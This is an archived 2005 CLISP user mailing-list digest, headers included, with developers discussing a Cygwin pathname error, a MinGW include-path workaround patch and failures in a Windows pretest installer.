sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D9Rbm-0002C4-SZ for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 09:38:02 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D9Rbk-0004eW-2B for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 09:38:02 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2AHaErI002974; Thu, 10 Mar 2005 12:36:15 -0500 (EST) To: clisp-list@lists.sourceforge.net, Andrew Stebakov Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <20050310171344.95565.qmail@web52806.mail.yahoo.com> (Andrew Stebakov's message of "Thu, 10 Mar 2005 09:13:43 -0800 (PST)") References: <20050310171344.95565.qmail@web52806.mail.yahoo.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Andrew Stebakov Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: parse-namestring error when running CLisp on Windows Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 10 09:38:22 2005 X-Original-Date: Thu, 10 Mar 2005 12:37:37 -0500 > * Andrew Stebakov [2005-03-10 09:13:43 -0800]: > > find an answer in archives. > I just install CLisp on my Windows system. > I created a run-clisp-prog.bat batch file that has > this commond in it: > > C:\cygwin\lib\clisp\base\lisp.exe -M > "C:\cygwin\lib\clisp\base\lispinit.mem" -i %1 this is a cygwin version. use the supplied driver cygwin/usr/bin/clisp instead of batch files. (alternatively: use the native version). > > *** - PARSE-NAMESTRING: syntax error in filename > "C:\\dev\\test\\Lisp\\test3.lis > p" at position 2 > Break 1 [1]> this is a cygwin version. it does not understand woe32 pathnames. use "/cygdrive/c/dev/test/lisp/test3.lisp" instead or use the native version -- Sam Steingold (http://www.podval.org/~sds) running w2k A slave dreams not of Freedom, but of owning his own slaves. From e@flavors.com Thu Mar 10 12:46:37 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D9UYH-0003Xa-45 for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 12:46:37 -0800 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1D9UYG-0007jH-Ib for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 12:46:37 -0800 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id DSA74586 for ; Thu, 10 Mar 2005 15:46:33 -0500 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <1305711895.20050310154629@flavors.com> To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_UNDERSCORE BODY: Text interparsed with _ 0.0 SF_CHICKENPOX_EQUAL BODY: Text interparsed with = 0.0 SF_CHICKENPOX_AMPERSAND BODY: Text interparsed with & 0.0 SF_CHICKENPOX_QUESTION BODY: Text interparsed with ? 0.2 UPPERCASE_25_50 message body is 25-50% uppercase 0.7 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] MinGW includes with trailing slash Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 10 12:47:28 2005 X-Original-Date: Thu, 10 Mar 2005 15:46:29 -0500 The latest MinGW compiler has a bug due to Windows' unfortunate implementation of stat() that prevents use of include paths with trailing slashes. See: https://sourceforge.net/tracker/index.php?func=detail&aid=1053052&group_id=2435&atid=102435 https://sourceforge.net/tracker/index.php?func=detail&aid=1114735&group_id=2435&atid=102435 As a result, the build (from CVS HEAD as of today) fails when building modules. E.g., ./configure --with-mingw --build build-ming fails because clisp.h cannot be found when making i18n. I have applied this patch to src/makemake.in that seems to work around the problem, and I believe is compatible with other platforms... $ diff makemake~.in makemake.in 3245c3245 < EVERY_INCLUDES_DOTS_C=$EVERY_INCLUDES_DOTS_C' $${dots}'$f --- > EVERY_INCLUDES_DOTS_C=$EVERY_INCLUDES_DOTS_C' $${dots}/'$f 3247c3247 < echotab "CLISP=\"${CLISP_}\" ; cd \$@ ; dots="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g'"'`'" ; \$(MAKE) clisp-module CC=\"\$(CC)\" CPPFLAGS=\"\$(${MODULE_CPPFLAGS_VAR})\" CFLAGS=\"\$(${MODULE_CFLAGS_VAR})\" INCLUDES=\"\$\$dots\" LISPBIBL_INCLUDES=\"$EVERY_INCLUDES_DOTS_C\" CLFLAGS=\"\$(${MODULE_CLFLAGS_VAR})\" LIBS=\"\$(LIBS)\" RANLIB=\"\$(RANLIB)\" CLISP=\"\$\$CLISP -q\"" --- > echotab "CLISP=\"${CLISP_}\" ; cd \$@ ; dots="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/\$\$,,g'"'`'" ; \$(MAKE) clisp-module CC=\"\$(CC)\" CPPFLAGS=\"\$(${MODULE_CPPFLAGS_VAR})\" CFLAGS=\"\$(${MODULE_CFLAGS_VAR})\" INCLUDES=\"\$\$dots\" LISPBIBL_INCLUDES=\"$EVERY_INCLUDES_DOTS_C\" CLFLAGS=\"\$(${MODULE_CLFLAGS_VAR})\" LIBS=\"\$(LIBS)\" RANLIB=\"\$(RANLIB)\" CLISP=\"\$\$CLISP -q\"" Regards, e From sds@gnu.org Thu Mar 10 14:51:00 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D9WUc-0001mc-VG for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 14:50:58 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D9WUb-0004jH-5j for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 14:50:58 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2AMn5nR013708; Thu, 10 Mar 2005 17:49:10 -0500 (EST) To: clisp-list@lists.sourceforge.net, Doug Currie Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <1305711895.20050310154629@flavors.com> (Doug Currie's message of "Thu, 10 Mar 2005 15:46:29 -0500") References: <1305711895.20050310154629@flavors.com> Mail-Followup-To: clisp-list@lists.sourceforge.net, Doug Currie Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase -0.2 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] Re: MinGW includes with trailing slash Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 10 14:51:38 2005 X-Original-Date: Thu, 10 Mar 2005 17:50:28 -0500 > * Doug Currie [2005-03-10 15:46:29 -0500]: > > The latest MinGW compiler has a bug due to Windows' unfortunate > implementation of stat() that prevents use of include paths with > trailing slashes. thanks for the bug report. > See: > https://sourceforge.net/tracker/index.php?func=detail&aid=1053052&group_id=2435&atid=102435 > https://sourceforge.net/tracker/index.php?func=detail&aid=1114735&group_id=2435&atid=102435 it appears that mingw will have a workaround, right? > $ diff makemake~.in makemake.in next time, please use "-u" or at least "-c". > 3245c3245 > < EVERY_INCLUDES_DOTS_C=$EVERY_INCLUDES_DOTS_C' $${dots}'$f > --- >> EVERY_INCLUDES_DOTS_C=$EVERY_INCLUDES_DOTS_C' $${dots}/'$f > 3247c3247 > < echotab "CLISP=\"${CLISP_}\" ; cd \$@ ; dots="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g'"'`'" ; \$(MAKE) clisp-module CC=\"\$(CC)\" CPPFLAGS=\"\$(${MODULE_CPPFLAGS_VAR})\" CFLAGS=\"\$(${MODULE_CFLAGS_VAR})\" INCLUDES=\"\$\$dots\" LISPBIBL_INCLUDES=\"$EVERY_INCLUDES_DOTS_C\" CLFLAGS=\"\$(${MODULE_CLFLAGS_VAR})\" LIBS=\"\$(LIBS)\" RANLIB=\"\$(RANLIB)\" CLISP=\"\$\$CLISP -q\"" > --- >> echotab "CLISP=\"${CLISP_}\" ; cd \$@ ; dots="'`'"echo \$@/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/\$\$,,g'"'`'" ; \$(MAKE) clisp-module CC=\"\$(CC)\" CPPFLAGS=\"\$(${MODULE_CPPFLAGS_VAR})\" CFLAGS=\"\$(${MODULE_CFLAGS_VAR})\" INCLUDES=\"\$\$dots\" LISPBIBL_INCLUDES=\"$EVERY_INCLUDES_DOTS_C\" CLFLAGS=\"\$(${MODULE_CLFLAGS_VAR})\" LIBS=\"\$(LIBS)\" RANLIB=\"\$(RANLIB)\" CLISP=\"\$\$CLISP -q\"" unfortunately, this is probably not really enough. all the modules/*/Makefile.in have to be fixed... thanks for the patch! -- Sam Steingold (http://www.podval.org/~sds) running w2k To a Lisp hacker, XML is S-expressions with extra cruft. From sds@gnu.org Thu Mar 10 15:02:12 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D9WfU-0002Nq-0N for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 15:02:12 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D9WfQ-0004YP-ED for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 15:02:11 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2AN0OAD014602 for ; Thu, 10 Mar 2005 18:00:24 -0500 (EST) To: clisp-list@lists.sourceforge.net Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold Mail-Followup-To: clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 AWL AWL: From: address is in the auto white-list Subject: [clisp-list] woe32 pretest: clisp 2.33.82 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 10 15:02:30 2005 X-Original-Date: Thu, 10 Mar 2005 18:01:47 -0500 please try woe32 pretest: main attraction: MOP specifically, please do test install.bat and clisp.exe -- Sam Steingold (http://www.podval.org/~sds) running w2k Sufficiently advanced stupidity is indistinguishable from malice. From e@flavors.com Thu Mar 10 17:17:44 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D9Ymd-0001Pk-Lm for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 17:17:43 -0800 Received: from externalmx-1.sourceforge.net ([12.152.184.25]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1D9XeN-0001a7-2r for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 16:05:08 -0800 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by externalmx-1.sourceforge.net with smtp (Exim 4.41) id 1D9XY9-0002La-Re for clisp-list@lists.sourceforge.net; Thu, 10 Mar 2005 15:58:42 -0800 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id DSA74586; Thu, 10 Mar 2005 18:58:13 -0500 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <12010442108.20050310185809@flavors.com> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] woe32 pretest: clisp 2.33.82 In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.4 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Mar 10 17:18:40 2005 X-Original-Date: Thu, 10 Mar 2005 18:58:09 -0500 Thursday, March 10, 2005, 6:01:47 PM, you wrote: > please try woe32 pretest: > > > > specifically, please do test install.bat and clisp.exe Bad news... C:\Dev\clisp\clisp-2.33.82>clisp.exe -K full -norc -C src\install.lisp clisp.exe: * d:/gnu/clisp/current/build-O-mingw/full/lisp.exe * d:/gnu * [d:/gnu/clisp/current/build-O-mingw/full/lisp.exe -B d:/gnu/clisp/current/build-O-mingw -M d:/gnu/clisp /current/build-O-mingw/full/lispinit.mem -N d:/gnu/clisp/current/build-O-mingw/locale -K full -norc -C src \install.lisp] = Is a directory C:\Dev\clisp\clisp-2.33.82> e From kavenchuk@jenty.by Fri Mar 11 02:12:52 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D9h8V-00035M-Pt for clisp-list@lists.sourceforge.net; Fri, 11 Mar 2005 02:12:51 -0800 Received: from [194.158.196.38] (helo=mail.jenty.by) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.41) id 1D9h8U-0001Pd-6G for clisp-list@lists.sourceforge.net; Fri, 11 Mar 2005 02:12:51 -0800 Received: from [150.0.0.200] (STNT067 [150.0.0.200]) by mail.jenty.by with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2655.55) id GTRT928F; Fri, 11 Mar 2005 12:15:32 +0200 Message-ID: <42316F44.6020000@jenty.by> From: Yaroslav Kavenchuk User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; ru-RU; rv:1.7.5) Gecko/20041217 X-Accept-Language: ru, en, en-us MIME-Version: 1.0 To: Doug Currie CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] MinGW includes with trailing slash References: <1305711895.20050310154629@flavors.com> In-Reply-To: <1305711895.20050310154629@flavors.com> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 11 02:13:14 2005 X-Original-Date: Fri, 11 Mar 2005 12:13:24 +0200 Doug Currie: > The latest MinGW compiler has a bug due to Windows' unfortunate > implementation of stat() that prevents use of include paths with > trailing slashes. Many thanks! The end to my tortures... :) -- WBR, Yaroslav Kavenchuk. From sds@gnu.org Fri Mar 11 06:03:15 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D9kjT-0006er-Dx for clisp-list@lists.sourceforge.net; Fri, 11 Mar 2005 06:03:15 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.41) id 1D9kjP-0002Xs-7x for clisp-list@lists.sourceforge.net; Fri, 11 Mar 2005 06:03:14 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap.ad.alphatech.com [10.41.52.214]) by alphatech.com (8.12.11/8.12.11) with ESMTP id j2BE1Cek004770; Fri, 11 Mar 2005 09:01:12 -0500 (EST) To: Doug Currie Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] woe32 pretest: clisp 2.33.82 Mail-Copies-To: never Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. From: Sam Steingold In-Reply-To: <12010442108.20050310185809@flavors.com> (Doug Currie's message of "Thu, 10 Mar 2005 18:58:09 -0500") References: <12010442108.20050310185809@flavors.com> Mail-Followup-To: Doug Currie , clisp-list@lists.sourceforge.net Message-ID: User-Agent: Gnus/5.11 (Gnus v5.11) Emacs/22.0.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain X-Spam-Score: -0.1 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 -0.1 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 11 06:03:30 2005 X-Original-Date: Fri, 11 Mar 2005 09:02:36 -0500 > * Doug Currie [2005-03-10 18:58:09 -0500]: > > Thursday, March 10, 2005, 6:01:47 PM, you wrote: > >> please try woe32 pretest: >> >> >> > >> specifically, please do test install.bat and clisp.exe > > Bad news... oops, sorry. > C:\Dev\clisp\clisp-2.33.82>clisp.exe -K full -norc -C src\install.lisp > clisp.exe: > * d:/gnu/clisp/current/build-O-mingw/full/lisp.exe > * d:/gnu > * [d:/gnu/clisp/current/build-O-mingw/full/lisp.exe -B d:/gnu/clisp/current/build-O-mingw -M d:/gnu/clisp > /current/build-O-mingw/full/lispinit.mem -N d:/gnu/clisp/current/build-O-mingw/locale -K full -norc -C src > \install.lisp] > = Is a directory > > C:\Dev\clisp\clisp-2.33.82> please try again, same location. thanks! -- Sam Steingold (http://www.podval.org/~sds) running w2k If brute force does not work, you are not using enough. From e@flavors.com Fri Mar 11 09:48:04 2005 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1D9oF1-0003LX-UL for clisp-list@lists.sourceforge.net; Fri, 11 Mar 2005 09:48:03 -0800 Received: from smtp.drrizzick.com ([208.252.48.26] helo=mail.drrizzick.com) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.41) id 1D9oF0-0002iT-Fr for clisp-list@lists.sourceforge.net; Fri, 11 Mar 2005 09:48:03 -0800 Received: from DAWNE by mail.drrizzick.com (DrRizzick Mail Server V1.x.x) with SMTP id DSA74586; Fri, 11 Mar 2005 12:47:55 -0500 From: Doug Currie X-Mailer: The Bat! (v2.11.02) Business Reply-To: Doug Currie X-Priority: 3 (Normal) Message-ID: <1709085395.20050311124756@flavors.com> To: Sam Steingold CC: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] woe32 pretest: clisp 2.33.82 In-Reply-To: References: <12010442108.20050310185809@flavors.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.4 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.0 SF_CHICKENPOX_PERIOD BODY: Text interparsed with . 0.0 SF_CHICKENPOX_SLASH BODY: Text interparsed with / 0.0 SF_CHICKENPOX_MINUS BODY: Text interparsed with - 0.0 SF_CHICKENPOX_BACKSLASH BODY: Text interparsed with \ 0.0 SF_CHICKENPOX_AT BODY: Text interparsed with @ 0.4 AWL AWL: From: address is in the auto white-list Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Mar 11 09:48:21 2005 X-Original-Date: Fri, 11 Mar 2005 12:47:56 -0500 Friday, March 11, 2005, 9:02:36 AM, Sam wrote: >> * Doug Currie [2005-03-10 18:58:09 -0500]: >> >> Bad news... > oops, sorry. >> C:\Dev\clisp\clisp-2.33.82>clisp.exe -K full -norc -C src\install.lisp >> clisp.exe: >> * d:/gnu/clisp/current/build-O-mingw/full/lisp.exe >> * d:/gnu >> * [d:/gnu/clisp/current/build-O-mingw/full/lisp.exe -B >> d:/gnu/clisp/current/build-O-mingw -M d:/gnu/clisp >> /current/build-O-mingw/full/lispinit.mem -N >> d:/gnu/clisp/current/build-O-mingw/locale -K full -norc -C src >> \install.lisp] >> = Is a directory >> >> C:\Dev\clisp\clisp-2.33.82> > please try again, same location. OK, much better overall. clisp -K full works (well, it can do the install tasks, and gives a prompt). But, clisp -K base or just double clicking on the clisp.exe in the distribution gives an error dialog... lisp.exe - Unable to Locate Component This application has failed to start because cygcrypt-0.dll was not found. Re-installing the application may fix this problem. e From lin8080@freenet.de Sat Mar 12 18:58:36 2005 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1DAJJM-00042O-3h for clisp-list@lists.sourceforge.net; Sat, 12 Mar 2005 18:58:36 -0800 Received: from mout1.freenet.de ([194.97.50.132]) by sc8-sf-mx2.sourceforge.net with esmtp (TLSv1:AES256-SHA:256) (Exim 4.41) id 1DAJJL-0004pP-6g for clisp-list@lists.sourceforge.net; Sat, 12 Mar 2005 18:58:36 -0800 Received: from [194.97.50.135] (helo=mx2.freenet.de) by mout1.freenet.de with esmtpa (Exim 4.51) id 1DAJJE-0003hs-Oy for clisp-list@lists.sourceforge.net; Sun, 13 Mar 2005 03:58:28 +0100 Received: from d3bfb.d.pppool.de ([80.184.59.251] helo=freenet.de) by mx2.freenet.de with esmtpsa (ID lin8080@freenet.de) (SSLv3:EXP1024-RC4-SHA:128) (Exim 4.43 #13) id 1DAJJC-0001zP-Ui for clisp-list@lists.sourceforge.net; Sun, 13 Mar 2005 03:58:28 +0100 Message-ID: <4233A995.D6CE7A9@freenet.de> From: lin8080 X-Mailer: Mozilla 4.7 [de] (Win98; I) X-Accept-Language: de MIME-Version: 1.0 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] woe32 pretest: clisp 2.33.82 References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 1.5 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.5 FROM_ENDS_IN_NUMS From: ends in numbers 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Mar 12 18:58:53 2005 X-Original-Date: Sun, 13 Mar 2005 03:46:45 +0100 Sam Steingold schrieb: > specifically, please do test install.bat and clisp.exe Download the testfile, unzip to c:\, run install.bat: Dosbox opened, press 1x Space, 2x y, this is the copy&paste: ************************************************************* +----------------------------------------------------------+ I this will install CLISP on your system, I I associating file types FAS, MEM and LISP with CLISP. I I it will also create a shortcut to CLISP on your desktop. I I press C-c to abort I +----------------------------------------------------------+ Weiter mit beliebiger Taste . . . * Installing CLISP to run from C:\clisp-2.33.82\ Use the `full' linking set? (y/n) y Associate types <.lisp>, <.lsp>, <.cl>, <.fas>, <.mem>, with CLISP? (y/n) y associating CLISP with Lisp files under "HKEY_CLASSES_ROOT" associating CLISP with FAS files under "HKEY_CLASSES_ROOT" associating CLISP with MEM files under "HKEY_CLASSES_ROOT" *** - Win32 error 2 (ERROR_FILE_NOT_FOUND): The system cannot find the file spec ified. Weiter mit beliebiger Taste . . . ************************************************************** Next keypress (space) the dosbox closed. Dobleklick on clisp.exe brings the error-message: Die erforderliche DLL-Datei CYGCRYPT-0.DLL wurde nicht gefunden. Hm. Winzip creates the directory: clisp-2.33.82 on c:\ with 7 subfolders. No dll inside (Maybe this DLL can be included?). Running on WIN98SE without Cygwin or anything like that. Doing what readme.de says leads to the Errormessage CYGCRYPT-0.DLL is missing. Test with c:\clisp-2.33.82\base\lisp.exe -M lispinit.mem The file in ~~\full\lisp.exe -M lispinit.mem brings up the Dosbox, the openscreen and shows a prompt. Continuing what readme.de says the error comes up: ********************************************************** [1]> (without-package-lock () (compile-file "src/config.lisp") (load "src/config .fas")) *** - nonexistent directory: #P"C:\\CLISP-2.33.82\\full\\src\\" The following restarts are available: ABORT :R1 ABORT Break 1 [2]> ********************************************************** Looking in \src\config.lisp line 39-43 says: ********************************************************** (defparameter *load-paths* '(#"C:" ; the current directory on drive C: #"C:\\CLISP\\**\\") ; all subdirectories under C:\CLISP "The list of directories where programs are searched on LOAD etc. if device and directory are unspecified:") ********************************************************** So, rename the win-folder to cl23382 and edit the config.lisp to the same folder-name and repeat all steps. In config.lisp line 41 stands now: #"C:\\CL23382\\**\\") ; all subdirectories under C:\CL23382 ********************************************************** Break 1 [2]> :r1 [3]> (without-package-lock () (compile-file "src/config.lisp")(load "src/config. fas")) *** - nonexistent directory: #P"C:\\CL23382\\full\\src\\" The following restarts are available: ABORT :R1 ABORT Break 1 [4]> :r1 [5]> (without-package-lock () (compile-file "c:/cl23382/src/config.lisp") (load "c:/cl23382/src/config.fas")) ;; Compiling file 